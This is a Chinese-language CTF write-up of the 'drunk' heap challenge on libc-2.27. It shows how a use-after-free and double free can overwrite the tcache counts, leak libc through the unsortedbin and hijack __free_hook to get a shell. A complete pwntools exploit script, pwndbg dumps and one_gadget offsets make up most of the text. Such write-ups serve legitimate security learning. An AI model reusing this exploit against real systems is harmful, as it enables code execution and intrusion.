一道tcache struct题目 drunk 复现

libc-2.27.so,64位保护全开,标准菜单题,不同的是此题申请和后续编辑堆块大小不超过0x40,且没有off by one或者堆溢出等手段,不能像往常一样申请大于smallbin大小的再释放进入unsortedbin泄露或者利用unlink后向合并进入unsortedbin泄露;
但是此题存在指针未清零造成的uaf
可以利用此特点泄露堆地址,然后减去偏移到heap开头处,tcache头部heap+0x10到heap+0x50前(0x40)都是counts,代表的是idx所对应的不同的大小的tcache的个数,而后0x200(0x40*8)为指针数组,存放tcache_entry指针,如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x561175c60000
Size: 0x251

Free chunk (tcache) | PREV_INUSE
Addr: 0x561175c60250
Size: 0x51
fd: 0x561175c60260

Allocated chunk | PREV_INUSE
Addr: 0x561175c602a0
Size: 0x51

Top chunk | PREV_INUSE
Addr: 0x561175c602f0
Size: 0x20d11

pwndbg> x/20gx 0x561175c60000
0x561175c60000: 0x0000000000000000      0x0000000000000251
0x561175c60010: 0x0000000002000000      0x0000000000000000
0x561175c60020: 0x0000000000000000      0x0000000000000000
0x561175c60030: 0x0000000000000000      0x0000000000000000
0x561175c60040: 0x0000000000000000      0x0000000000000000
0x561175c60050: 0x0000000000000000      0x0000000000000000
0x561175c60060: 0x0000000000000000      0x0000561175c60260
0x561175c60070: 0x0000000000000000      0x0000000000000000
0x561175c60080: 0x0000000000000000      0x0000000000000000
0x561175c60090: 0x0000000000000000      0x0000000000000000
pwndbg> 

在将chunk放入tcahce的时候会检查tcache->counts[tc_idx] < mp_.tcache_count,而我们知道相同大小tcache最多存在7个,即我们只需要将count改为不小于7的某个数即可满足该检查,后续free的堆块不会放入tcache,而counts在heap上,我们只需要修改heap的counts为不小于7的数即可,这道题我们可以利用double free来修改heap上的内容,修改后释放heap,使其进入unsortedbin获取main_arena偏移地址进而泄露libc;

delete(0)
delete(0)
show(0)
leak_addr=u64(io.recv(6).ljust(8,b"\x00"))
print("leak_addr: "+hex(leak_addr))
heap_addr=leak_addr-0x260

add(0x40,p64(heap_addr+0x10)) #2
add(0x40,b"ddd") #3
add(0x40,b"\x07"*0x40) #4
delete(4)
show(4)
libc_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x70-libc.sym[b"__malloc_hook"]

之后将heap重新分配(使用edit after free,后续更改在chunk 0上操作,再次构造double free,之后劫持malloc_hook打one_gadget或者劫持free_hook构造即可getshell,不知道是版本的原因,本题调栈改realloc偏移打one_gadget不行,故最后采用劫持free_hook构造
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./drunk")
elf=ELF("./drunk")
libc=ELF("./libc-2.27.so")

def add(n,c):
    io.sendlineafter(b"-->>>> \n",b"1")
    io.sendlineafter(b"cup:\n",str(n))
    io.sendlineafter(b"add?\n",c)

def delete(n):
    io.sendlineafter(b"-->>>> \n",b"2")
    io.sendlineafter(b"number: \n",str(n))

def show(n):
    io.sendlineafter(b"-->>>> \n",b"3")
    io.sendlineafter(b"left: \n",str(n))

def edit(n,cc):
    io.sendlineafter(b"-->>>> \n",b"4")
    io.sendlineafter(b"cup:\n",str(n))
    io.sendafter(b"refill\n",cc)

add(0x40,b"aaa") #0
add(0x40,b"/bin/sh\x00") #1

delete(0)
delete(0)
show(0)
leak_addr=u64(io.recv(6).ljust(8,b"\x00"))
print("leak_addr: "+hex(leak_addr))
heap_addr=leak_addr-0x260

add(0x40,p64(heap_addr+0x10)) #2
add(0x40,b"ddd") #3
add(0x40,b"\x07"*0x40) #4
delete(4)
show(4)
libc_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x70-libc.sym[b"__malloc_hook"]
print("libc_addr: "+hex(libc_addr))
malloc_hook=libc_addr+libc.sym[b"__malloc_hook"]
free_hook=libc_addr+libc.sym[b"__free_hook"]
realloc=libc_addr+libc.sym[b"__libc_realloc"]
sys_addr=libc_addr+libc.sym[b"system"]
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
shell=libc_addr+one_gadget[2]

edit(4,b"\x00"*0x40)
delete(0)
delete(0)
add(0x40,p64(free_hook))
add(0x40,b"qqq")
add(0x40,p64(sys_addr))
# add(0x40,p64(malloc_hook-0x8))
# add(0x40,b"qqq")
# add(0x40,p64(shell)+p64(realloc+0x1))

gdb.attach(io)
pause()

io.sendlineafter(b"-->>>> \n",b"2")
io.sendlineafter(b"number: \n",b"1")

io.interactive()

# 0x4f365 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a45c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL